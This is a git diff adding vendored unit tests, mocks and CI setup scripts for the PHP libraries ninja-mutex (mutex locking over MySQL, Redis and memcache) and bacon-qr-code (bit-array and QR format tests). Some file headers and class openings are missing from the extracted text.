copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex\Mock; + +use PDO; + +/** + * Mock PDO to mimic *_lock functionality + * + * @author Kamil Dziedzic + */ +class MockPDO extends PDO +{ + /** + * @var string[] + */ + protected static $data = array(); + + /** + * @var MockPDOStatement + */ + protected $_mock_pdo_statement; + + /** + * @var string[] + */ + protected $current = array(); + + public function __construct($dsn, $user, $password) + { + $this->_mock_pdo_statement = new MockPDOStatement(); + } + + /** + * @param string $statement + * @return MockPDOStatement + */ + public function query($statement) + { + if (preg_match('/RELEASE_LOCK\("(.*)"\)/', $statement, $m)) { + return $this->_mock_release_lock($m[1]); + } elseif (preg_match('/GET_LOCK\("(.*)", *(.*)\)/', $statement, $m)) { + return $this->_mock_get_lock($m[1], $m[2]); + } elseif (preg_match('/IS_FREE_LOCK\("(.*)"\)/', $statement, $m)) { + return $this->_mock_is_free_lock($m[1]); + } + } + + /** + * @param string $key + * @param int $timeout + * @return MockPDOStatement + */ + protected function _mock_get_lock($key, $timeout) + { + // http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_get-lock + // + // "If you have a lock obtained with GET_LOCK(), + // it is released when you (...) execute a new GET_LOCK()" + // + // SELECT IS_FREE_LOCK( 'a' ) , GET_LOCK( 'a', 0 ) , IS_FREE_LOCK( 'a' ) , GET_LOCK( 'a', 0 ) + // IS_FREE_LOCK('a') GET_LOCK('a', 0) IS_FREE_LOCK('a') GET_LOCK('a', 0) + // 1 1 0 1 + if ($this->_mock_is_free_lock($key)->fetch() || isset($this->current[$key])) { + // This part is made to reflect behaviour that second GET_LOCK() releases all current locks + foreach ($this->current as $k => $v) { + unset(self::$data[$k]); + unset($this->current[$k]); + } + + self::$data[$key] = true; + $this->current[$key] = true; + + return $this->_mock_pdo_statement->_mock_set_fetch("1"); + } + + // We use sleep because GET_LOCK(str,timeout) accept timeout in seconds + sleep($timeout); + + return $this->_mock_pdo_statement->_mock_set_fetch("0"); + } + + /** + * @param string $key + * @return MockPDOStatement + */ + protected function _mock_is_free_lock($key) + { + if (isset(self::$data[$key])) { + return $this->_mock_pdo_statement->_mock_set_fetch("0"); + } + + return $this->_mock_pdo_statement->_mock_set_fetch("1"); + } + + /** + * @param string $key + * @return MockPDOStatement + */ + protected function _mock_release_lock($key) + { + if (isset($this->current[$key])) { + unset(self::$data[$key]); + unset($this->current[$key]); + + return $this->_mock_pdo_statement->_mock_set_fetch("1"); + } + + return $this->_mock_pdo_statement->_mock_set_fetch("0"); + } + + public function __destruct() + { + foreach ($this->current as $k => $v) { + unset(self::$data[$k]); + unset($this->current[$k]); + } + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPDOStatement.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPDOStatement.php new file mode 100644 index 00000000..590c6aa7 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPDOStatement.php @@ -0,0 +1,48 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex\Mock; + +use PDO; +use PDOStatement; + +/** + * Mock PDOStatement to use with MockPDO + * + * @author Kamil Dziedzic + */ +class MockPDOStatement extends PDOStatement +{ + /** + * @var string + */ + protected $_mock_fetch = ''; + + /** + * @param string $result + * @return MockPDOStatement + */ + public function _mock_set_fetch($result) + { + $this->_mock_fetch = $result; + + return $this; + } + + /** + * @param int|null $fetch_style + * @param int|null $cursor_orientation + * @param int|null $cursor_offset + * @return string + */ + public function fetch($fetch_style = null, $cursor_orientation = PDO::FETCH_ORI_NEXT, $cursor_offset = 0) + { + return $this->_mock_fetch; + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPhpRedisClient.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPhpRedisClient.php new file mode 100644 index 00000000..e9e659a1 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPhpRedisClient.php @@ -0,0 +1,95 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex\Mock; + +use \Redis; + +/** + * Mock \Redis to mimic PhpRedis functionality + * + * @author leo108 + */ +class MockPhpRedisClient extends Redis implements PermanentServiceInterface +{ + /** + * @var string[] + */ + protected static $data = array(); + + /** + * Whether the service is available + * @var boolean + */ + protected $available = true; + + public function __construct() + { + } + + /** + * @param string $key + * @param mixed $value + * @return bool + */ + public function setnx($key, $value) + { + if (!$this->available) { + return false; + } + + if (false === $this->get($key)) { + self::$data[$key] = (string) $value; + + return true; + } + + return false; + } + + /** + * @param string $key + * @return mixed + */ + public function get($key) + { + if (!$this->available) { + return false; + } + + if (!isset(self::$data[$key])) { + return false; + } + + return (string) self::$data[$key]; + } + + /** + * @param string $key + * @return bool + */ + public function del($key) + { + if (!$this->available) { + return false; + } + + unset(self::$data[$key]); + + return true; + } + + /** + * @param bool $available + */ + public function setAvailable($available) + { + $this->available = (bool) $available; + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPredisClient.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPredisClient.php new file mode 100644 index 00000000..342f003d --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPredisClient.php @@ -0,0 +1,95 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex\Mock; + +use Predis; + +/** + * Mock Predis\Client to mimic Predis functionality + * + * @author Kamil Dziedzic + */ +class MockPredisClient extends Predis\Client implements PermanentServiceInterface +{ + /** + * @var string[] + */ + protected static $data = array(); + + /** + * Whether the service is available + * @var boolean + */ + protected $available = true; + + public function __construct() + { + } + + /** + * @param string $key + * @param mixed $value + * @return bool + */ + public function setnx($key, $value) + { + if (!$this->available) { + return false; + } + + if (null === $this->get($key)) { + self::$data[$key] = (string) $value; + + return true; + } + + return false; + } + + /** + * @param string $key + * @return mixed + */ + public function get($key) + { + if (!$this->available) { + return false; + } + + if (!isset(self::$data[$key])) { + return null; + } + + return (string) self::$data[$key]; + } + + /** + * @param string $key + * @return bool + */ + public function del($key) + { + if (!$this->available) { + return false; + } + + unset(self::$data[$key]); + + return true; + } + + /** + * @param bool $available + */ + public function setAvailable($available) + { + $this->available = (bool) $available; + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/PermanentServiceInterface.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/PermanentServiceInterface.php new file mode 100644 index 00000000..72ba67e4 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/PermanentServiceInterface.php @@ -0,0 +1,24 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex\Mock; + +/** + * Backend interface + * + * @author Kamil Dziedzic + */ +interface PermanentServiceInterface +{ + + /** + * @param bool $available + */ + public function setAvailable($available); +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/MutexFabricTest.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/MutexFabricTest.php new file mode 100644 index 00000000..9dc64c14 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/MutexFabricTest.php @@ -0,0 +1,88 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex; + +use NinjaMutex\Lock\LockInterface; + +/** + * Tests for MutexFabric + * + * @author Kamil Dziedzic + */ +class MutexFabricTest extends AbstractTest +{ + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testIfInjectedImplementorIsSetAsDefault(LockInterface $lockImplementor) + { + $mutexFabric = new MutexFabric(get_class($lockImplementor), $lockImplementor); + $this->assertSame($mutexFabric->getDefaultLockImplementorName(), get_class($lockImplementor)); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testIfInjectedImplementorDefaultImplementorIsNotOverwritten(LockInterface $lockImplementor) + { + $mutexFabric = new MutexFabric(get_class($lockImplementor), $lockImplementor); + $mutexFabric->registerLockImplementor(get_class($lockImplementor) . '_forfiter', $lockImplementor); + $this->assertSame($mutexFabric->getDefaultLockImplementorName(), get_class($lockImplementor)); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testRegisterNewImplementorAndSetIsAsDefault(LockInterface $lockImplementor) + { + $mutexFabric = new MutexFabric(get_class($lockImplementor), $lockImplementor); + $mutexFabric->registerLockImplementor(get_class($lockImplementor) . '_forfiter', $lockImplementor); + $mutexFabric->setDefaultLockImplementorName(get_class($lockImplementor) . '_forfiter'); + $this->assertSame($mutexFabric->getDefaultLockImplementorName(), get_class($lockImplementor) . '_forfiter'); + } + + /** + * @dataProvider lockImplementorProvider + * @expectedException \NinjaMutex\MutexException + * @param LockInterface $lockImplementor + */ + public function testThrowExceptionOnDuplicateImplementorName(LockInterface $lockImplementor) + { + $mutexFabric = new MutexFabric(get_class($lockImplementor), $lockImplementor); + $mutexFabric->registerLockImplementor(get_class($lockImplementor), $lockImplementor); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testMutexCreationWithDefaultImplementor(LockInterface $lockImplementor) + { + $mutexFabric = new MutexFabric(get_class($lockImplementor), $lockImplementor); + $this->assertInstanceOf('NinjaMutex\Mutex', $mutexFabric->get('lock')); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testMutexCreationWithSecondaryImplementor(LockInterface $lockImplementor) + { + $mutexFabric = new MutexFabric(get_class($lockImplementor), $lockImplementor); + $mutexFabric->registerLockImplementor(get_class($lockImplementor) . '_forfiter', $lockImplementor); + $this->assertInstanceOf( + 'NinjaMutex\Mutex', + $mutexFabric->get('lock', get_class($lockImplementor) . '_forfiter') + ); + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/MutexLocksTest.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/MutexLocksTest.php new file mode 100644 index 00000000..5597d8f1 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/MutexLocksTest.php @@ -0,0 +1,192 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex; + +use NinjaMutex\Lock\LockAbstract; +use NinjaMutex\Lock\LockInterface; + +/** + * Tests for Mutex's Locks + * + * + * + * @author Kamil Dziedzic + */ +class MutexLocksTest extends AbstractTest +{ + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testAcquireAndReleaseLock(LockInterface $lockImplementor) + { + $mutex = new Mutex('forfiter', $lockImplementor); + + $this->assertTrue($mutex->acquireLock(0)); + $this->assertTrue($mutex->isAcquired()); + $this->assertTrue($mutex->isLocked()); + + $this->assertTrue($mutex->releaseLock()); + $this->assertFalse($mutex->isAcquired()); + $this->assertFalse($mutex->isLocked()); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testAllowToAcquireSelfOwnedLock(LockInterface $lockImplementor) + { + $mutex = new Mutex('forfiter', $lockImplementor); + $mutex->acquireLock(0); + + // Another try to acquire lock is successful + // because lock is already acquired by this mutex + $this->assertTrue($mutex->acquireLock(0)); + $this->assertTrue($mutex->isAcquired()); + $this->assertTrue($mutex->isLocked()); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testMultipleSelfAcquiredLocksRequiresMultipleReleasesToCompletelyReleaseMutex( + LockInterface $lockImplementor + ) { + $mutex = new Mutex('forfiter', $lockImplementor); + $mutex->acquireLock(0); // #1 + $mutex->acquireLock(0); // #2 + $mutex->acquireLock(0); // #3 + $this->assertTrue($mutex->releaseLock()); // #2 + $this->assertTrue($mutex->isAcquired()); + $this->assertTrue($mutex->isLocked()); + $this->assertTrue($mutex->releaseLock()); // #1 + $this->assertTrue($mutex->isAcquired()); + $this->assertTrue($mutex->isLocked()); + $this->assertTrue($mutex->releaseLock()); // #0 + $this->assertFalse($mutex->isAcquired()); + $this->assertFalse($mutex->isLocked()); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testUnableToAcquireLockHeldByOtherLock(LockInterface $lockImplementor) + { + $mutex1 = new Mutex('forfiter', $lockImplementor); + $mutex1->acquireLock(0); + + $mutex = new Mutex('forfiter', $lockImplementor); + + // We don't acquire lock + $this->assertFalse($mutex->isAcquired()); + + // But it's held by other process + $this->assertTrue($mutex->isLocked()); + + // So we should be unable to acquire lock + $this->assertFalse($mutex->acquireLock(0)); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testUnableToReleaseLockHeldByOtherLock(LockInterface $lockImplementor) + { + $mutex1 = new Mutex('forfiter', $lockImplementor); + $mutex1->acquireLock(0); + + $mutex = new Mutex('forfiter', $lockImplementor); + + // We don't acquire lock + $this->assertFalse($mutex->isAcquired()); + + // But it's held by other process + $this->assertTrue($mutex->isLocked()); + + // So we should be unable to release lock + $this->assertFalse($mutex->releaseLock()); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testAcquireLockTimeout(LockInterface $lockImplementor) + { + $mutex1 = new Mutex('forfiter', $lockImplementor); + $mutex1->acquireLock(0); + + $mutex = new Mutex('forfiter', $lockImplementor); + $sleep = LockAbstract::USLEEP_TIME; + + $time = microtime(true) * 1000; + $mutex->acquireLock($sleep); + $this->assertLessThanOrEqual(microtime(true) * 1000, $time + $sleep); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testAcquireLockWithTimeoutImmiedietly(LockInterface $lockImplementor) + { + $mutex = new Mutex('forfiter', $lockImplementor); + $sleep = LockAbstract::USLEEP_TIME; + + $time = microtime(true) * 1000; + $mutex->acquireLock($sleep); + $this->assertGreaterThan(microtime(true) * 1000, $time + $sleep); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testAcquireAndReleaseSecondMutexWithoutReleaseTheFirstMutex(LockInterface $lockImplementor) + { + $firstMutex = new Mutex('forfiter', $lockImplementor); + $firstMutex->acquireLock(0); + + $secondMutex = new Mutex('gieraryhir', $lockImplementor); + $this->assertTrue($secondMutex->acquireLock(0)); + $this->assertTrue($secondMutex->isAcquired()); + $this->assertTrue($secondMutex->isLocked()); + $this->assertTrue($firstMutex->isAcquired()); + $this->assertTrue($firstMutex->isLocked()); + $this->assertTrue($secondMutex->releaseLock()); + $this->assertTrue($firstMutex->isAcquired()); + $this->assertTrue($firstMutex->isLocked()); + } + + /** + * @issue https://github.com/arvenil/ninja-mutex/pull/1 + * + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testIfMutexIsReusableAfterSeveralAcquireReleaseCycles(LockInterface $lockImplementor) + { + $firstMutex = new Mutex('forfiter', $lockImplementor); + $firstMutex->acquireLock(); + $firstMutex->releaseLock(); + $firstMutex->acquireLock(); + $firstMutex->releaseLock(); + + $secondMutex = new Mutex('forfiter', $lockImplementor); + $this->assertTrue($secondMutex->acquireLock()); + + // cleanup + $secondMutex->releaseLock(); + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/MutexTest.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/MutexTest.php new file mode 100644 index 00000000..9ceda0f8 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/MutexTest.php @@ -0,0 +1,53 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex; + +use NinjaMutex\Mock\MockLock; + +/** + * Tests for Mutex + * + * @author Kamil Dziedzic + */ +class MutexTest extends \PHPUnit_Framework_TestCase +{ + /** + * @issue https://github.com/arvenil/ninja-mutex/pull/4 + */ + public function testIfMutexDestructorThrowsWhenBackendIsUnavailable() + { + $lockImplementor = new MockLock(); + $mutex = new Mutex('forfiter', $lockImplementor); + + $this->assertFalse($mutex->isAcquired()); + $this->assertTrue($mutex->acquireLock()); + $this->assertTrue($mutex->isAcquired()); + $this->assertTrue($mutex->acquireLock()); + $this->assertTrue($mutex->isAcquired()); + + // make backend unavailable + $lockImplementor->setAvailable(false); + + try { + // explicit __destructor() call, should throw UnrecoverableMutexException + $mutex->__destruct(); + } catch (UnrecoverableMutexException $e) { + // make backend available again + $lockImplementor->setAvailable(true); + // release lock + $this->assertTrue($mutex->releaseLock()); + $this->assertFalse($mutex->releaseLock()); + + return; + } + + $this->fail('An expected exception has not been raised.'); + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/bootstrap.php b/vendor/arvenil/ninja-mutex/tests/bootstrap.php new file mode 100644 index 00000000..850d908a --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/bootstrap.php @@ -0,0 +1,12 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +$loader = require_once __DIR__ . "/../vendor/autoload.php"; +$loader->add('NinjaMutex\\', __DIR__); diff --git a/vendor/arvenil/ninja-mutex/tests/insight/memcache-setup.sh b/vendor/arvenil/ninja-mutex/tests/insight/memcache-setup.sh new file mode 100755 index 00000000..4258bd1a --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/insight/memcache-setup.sh @@ -0,0 +1,10 @@ +#!/bin/sh + +install_memcache() { + sudo apt-get -y -q --force-yes install zlib1g-dev && + yes '' | pecl install memcache + + return $? +} + +install_memcache > ~/memcache.log || ( echo "=== MEMCACHE BUILD FAILED ==="; cat ~/memcache.log; exit 1 ) diff --git a/vendor/arvenil/ninja-mutex/tests/insight/memcached-setup.sh b/vendor/arvenil/ninja-mutex/tests/insight/memcached-setup.sh new file mode 100755 index 00000000..021aa19a --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/insight/memcached-setup.sh @@ -0,0 +1,14 @@ +#!/bin/sh + +install_memcached() { + MEMCACHED_VERSION="2.2.0" + + sudo apt-get -y -q --force-yes install libmemcached-dev pkg-config zlib1g-dev && + wget "http://pecl.php.net/get/memcached-${MEMCACHED_VERSION}.tgz" && + tar -zxf "memcached-${MEMCACHED_VERSION}.tgz" && + sh -c "cd memcached-${MEMCACHED_VERSION} && phpize && ./configure --disable-memcached-sasl --enable-memcached && make && make install" + + return $? +} + +install_memcached > ~/memcached.log || ( echo "=== MEMCACHED BUILD FAILED ==="; cat ~/memcached.log; exit 1 ) diff --git a/vendor/arvenil/ninja-mutex/tests/travis/composer-setup.sh b/vendor/arvenil/ninja-mutex/tests/travis/composer-setup.sh new file mode 100755 index 00000000..08d5476b --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/travis/composer-setup.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +wget -nc http://getcomposer.org/composer.phar && php composer.phar install --prefer-source diff --git a/vendor/arvenil/ninja-mutex/tests/travis/mysql-setup.sh b/vendor/arvenil/ninja-mutex/tests/travis/mysql-setup.sh new file mode 100755 index 00000000..3dafca18 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/travis/mysql-setup.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +mysql -e 'create database myapp_test;' \ No newline at end of file diff --git a/vendor/bacon/bacon-qr-code/.travis.yml b/vendor/bacon/bacon-qr-code/.travis.yml new file mode 100644 index 00000000..242163ab --- /dev/null +++ b/vendor/bacon/bacon-qr-code/.travis.yml @@ -0,0 +1,14 @@ +language: php +php: + - 5.4 + - 5.5 + - 5.6 + - 7.0 + - 7.1 + - hhvm + +install: + - travis_retry composer install --no-interaction + - composer info -i + +script: vendor/bin/phpunit --bootstrap tests/bootstrap.php --configuration tests/phpunit.xml tests diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitArrayTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitArrayTest.php new file mode 100644 index 00000000..81bcbce6 --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitArrayTest.php @@ -0,0 +1,201 @@ +assertFalse($array->get($i)); + $array->set($i); + $this->assertTrue($array->get($i)); + } + } + + public function testGetNextSet1() + { + $array = new BitArray(32); + + for ($i = 0; $i < $array->getSize(); $i++) { + $this->assertEquals($i, 32, '', $array->getNextSet($i)); + } + + $array = new BitArray(33); + + for ($i = 0; $i < $array->getSize(); $i++) { + $this->assertEquals($i, 33, '', $array->getNextSet($i)); + } + } + + public function testGetNextSet2() + { + $array = new BitArray(33); + + for ($i = 0; $i < $array->getSize(); $i++) { + $this->assertEquals($i, $i <= 31 ? 31 : 33, '', $array->getNextSet($i)); + } + + $array = new BitArray(33); + + for ($i = 0; $i < $array->getSize(); $i++) { + $this->assertEquals($i, 32, '', $array->getNextSet($i)); + } + } + + public function testGetNextSet3() + { + $array = new BitArray(63); + $array->set(31); + $array->set(32); + + for ($i = 0; $i < $array->getSize(); $i++) { + if ($i <= 31) { + $expected = 31; + } elseif ($i <= 32) { + $expected = 32; + } else { + $expected = 63; + } + + $this->assertEquals($i, $expected, '', $array->getNextSet($i)); + } + } + + public function testGetNextSet4() + { + $array = new BitArray(63); + $array->set(33); + $array->set(40); + + for ($i = 0; $i < $array->getSize(); $i++) { + if ($i <= 33) { + $expected = 33; + } elseif ($i <= 40) { + $expected = 40; + } else { + $expected = 63; + } + + $this->assertEquals($i, $expected, '', $array->getNextSet($i)); + } + } + + public function testGetNextSet5() + { + if (defined('MT_RAND_PHP')) { + mt_srand(0xdeadbeef, MT_RAND_PHP); + } else { + mt_srand(0xdeadbeef); + } + + for ($i = 0; $i < 10; $i++) { + $array = new BitArray(mt_rand(1, 100)); + $numSet = mt_rand(0, 19); + + for ($j = 0; $j < $numSet; $j++) { + $array->set(mt_rand(0, $array->getSize() - 1)); + } + + $numQueries = mt_rand(0, 19); + + for ($j = 0; $j < $numQueries; $j++) { + $query = mt_rand(0, $array->getSize() - 1); + $expected = $query; + + while ($expected < $array->getSize() && !$array->get($expected)) { + $expected++; + } + + $actual = $array->getNextSet($query); + + if ($actual !== $expected) { + $array->getNextSet($query); + } + + $this->assertEquals($expected, $actual); + } + } + } + + public function testSetBulk() + { + $array = new BitArray(64); + $array->setBulk(32, 0xFFFF0000); + + for ($i = 0; $i < 48; $i++) { + $this->assertFalse($array->get($i)); + } + + for ($i = 48; $i < 64; $i++) { + $this->assertTrue($array->get($i)); + } + } + + public function testClear() + { + $array = new BitArray(32); + + for ($i = 0; $i < 32; $i++) { + $array->set($i); + } + + $array->clear(); + + for ($i = 0; $i < 32; $i++) { + $this->assertFalse($array->get($i)); + } + } + + public function testGetArray() + { + $array = new BitArray(64); + $array->set(0); + $array->set(63); + + $ints = $array->getBitArray(); + + $this->assertEquals(1, $ints[0]); + $this->assertEquals(0x80000000, $ints[1]); + } + + public function testIsRange() + { + $array = new BitArray(64); + $this->assertTrue($array->isRange(0, 64, false)); + $this->assertFalse($array->isRange(0, 64, true)); + + $array->set(32); + $this->assertTrue($array->isRange(32, 33, true)); + + $array->set(31); + $this->assertTrue($array->isRange(31, 33, true)); + + $array->set(34); + $this->assertFalse($array->isRange(31, 35, true)); + + for ($i = 0; $i < 31; $i++) { + $array->set($i); + } + + $this->assertTrue($array->isRange(0, 33, true)); + + for ($i = 33; $i < 64; $i++) { + $array->set($i); + } + + $this->assertTrue($array->isRange(0, 64, true)); + $this->assertFalse($array->isRange(0, 64, false)); + } +} \ No newline at end of file diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitMatrixTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitMatrixTest.php new file mode 100644 index 00000000..89a58812 --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitMatrixTest.php @@ -0,0 +1,119 @@ +assertEquals(33, $matrix->getHeight()); + + for ($y = 0; $y < 33; $y++) { + for ($x = 0; $x < 33; $x++) { + if ($y * $x % 3 === 0) { + $matrix->set($x, $y); + } + } + } + + for ($y = 0; $y < 33; $y++) { + for ($x = 0; $x < 33; $x++) { + $this->assertEquals($x * $y % 3 === 0, $matrix->get($x, $y)); + } + } + } + + public function testSetRegion() + { + $matrix = new BitMatrix(5); + $matrix->setRegion(1, 1, 3, 3); + + for ($y = 0; $y < 5; $y++) { + for ($x = 0; $x < 5; $x++) { + $this->assertEquals($y >= 1 && $y <= 3 && $x >= 1 && $x <= 3, $matrix->get($x, $y)); + } + } + } + + public function testRectangularMatrix() + { + $matrix = new BitMatrix(75, 20); + $this->assertEquals(75, $matrix->getWidth()); + $this->assertEquals(20, $matrix->getHeight()); + + $matrix->set(10, 0); + $matrix->set(11, 1); + $matrix->set(50, 2); + $matrix->set(51, 3); + $matrix->flip(74, 4); + $matrix->flip(0, 5); + + $this->assertTrue($matrix->get(10, 0)); + $this->assertTrue($matrix->get(11, 1)); + $this->assertTrue($matrix->get(50, 2)); + $this->assertTrue($matrix->get(51, 3)); + $this->assertTrue($matrix->get(74, 4)); + $this->assertTrue($matrix->get(0, 5)); + + $matrix->flip(50, 2); + $matrix->flip(51, 3); + + $this->assertFalse($matrix->get(50, 2)); + $this->assertFalse($matrix->get(51, 3)); + } + + public function testRectangularSetRegion() + { + $matrix = new BitMatrix(320, 240); + $this->assertEquals(320, $matrix->getWidth()); + $this->assertEquals(240, $matrix->getHeight()); + + $matrix->setRegion(105, 22, 80, 12); + + for ($y = 0; $y < 240; $y++) { + for ($x = 0; $x < 320; $x++) { + $this->assertEquals($y >= 22 && $y < 34 && $x >= 105 && $x < 185, $matrix->get($x, $y)); + } + } + } + + public function testGetRow() + { + $matrix = new BitMatrix(102, 5); + + for ($x = 0; $x < 102; $x++) { + if ($x & 3 === 0) { + $matrix->set($x, 2); + } + } + + $array1 = $matrix->getRow(2, null); + $this->assertEquals(102, $array1->getSize()); + + $array2 = new BitArray(60); + $array2 = $matrix->getRow(2, $array2); + $this->assertEquals(102, $array2->getSize()); + + $array3 = new BitArray(200); + $array3 = $matrix->getRow(2, $array3); + $this->assertEquals(200, $array3->getSize()); + + for ($x = 0; $x < 102; $x++) { + $on = ($x & 3 === 0); + + $this->assertEquals($on, $array1->get($x)); + $this->assertEquals($on, $array2->get($x)); + $this->assertEquals($on, $array3->get($x)); + } + } +} \ No newline at end of file diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitUtilsTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitUtilsTest.php new file mode 100644 index 00000000..b80ff7df --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitUtilsTest.php @@ -0,0 +1,30 @@ +assertEquals(1, BitUtils::unsignedRightShift(1, 0)); + $this->assertEquals(1, BitUtils::unsignedRightShift(10, 3)); + $this->assertEquals(536870910, BitUtils::unsignedRightShift(-10, 3)); + } + + public function testNumberOfTrailingZeros() + { + $this->assertEquals(32, BitUtils::numberOfTrailingZeros(0)); + $this->assertEquals(1, BitUtils::numberOfTrailingZeros(10)); + $this->assertEquals(0, BitUtils::numberOfTrailingZeros(15)); + $this->assertEquals(2, BitUtils::numberOfTrailingZeros(20)); + } +} \ No newline at end of file diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ErrorCorrectionLevelTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ErrorCorrectionLevelTest.php new file mode 100644 index 00000000..736e995d --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ErrorCorrectionLevelTest.php @@ -0,0 +1,40 @@ +assertEquals(0x0, ErrorCorrectionLevel::M); + $this->assertEquals(0x1, ErrorCorrectionLevel::L); + $this->assertEquals(0x2, ErrorCorrectionLevel::H); + $this->assertEquals(0x3, ErrorCorrectionLevel::Q); + } + + public function testInvalidErrorCorrectionLevelThrowsException() + { + $this->setExpectedException( + 'BaconQrCode\Exception\UnexpectedValueException', + 'Value not a const in enum BaconQrCode\Common\ErrorCorrectionLevel' + ); + new ErrorCorrectionLevel(4); + } +} \ No newline at end of file diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/FormatInformationTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/FormatInformationTest.php new file mode 100644 index 00000000..5f6ee58c --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/FormatInformationTest.php @@ -0,0 +1,104 @@ +unmaskedTestFormatInfo = $this->maskedTestFormatInfo ^ 0x5412; + } + + + public function testBitsDiffering() + { + $this->assertEquals(0, FormatInformation::numBitsDiffering(1, 1)); + $this->assertEquals(1, FormatInformation::numBitsDiffering(0, 2)); + $this->assertEquals(2, FormatInformation::numBitsDiffering(1, 2)); + $this->assertEquals(32, FormatInformation::numBitsDiffering(-1, 0)); + } + + public function testDecode() + { + $expected = FormatInformation::decodeFormatInformation( + $this->maskedTestFormatInfo, + $this->maskedTestFormatInfo + ); + + $this->assertNotNull($expected); + $this->assertEquals(7, $expected->getDataMask()); + $this->assertEquals(ErrorCorrectionLevel::Q, $expected->getErrorCorrectionLevel()->get()); + + $this->assertEquals( + $expected, + FormatInformation::decodeFormatInformation( + $this->unmaskedTestFormatInfo, + $this->maskedTestFormatInfo + ) + ); + } + + public function testDecodeWithBitDifference() + { + $expected = FormatInformation::decodeFormatInformation( + $this->maskedTestFormatInfo, + $this->maskedTestFormatInfo + ); + + $this->assertEquals( + $expected, + FormatInformation::decodeFormatInformation( + $this->maskedTestFormatInfo ^ 0x1, + $this->maskedTestFormatInfo ^ 0x1 + ) + ); + $this->assertEquals( + $expected, + 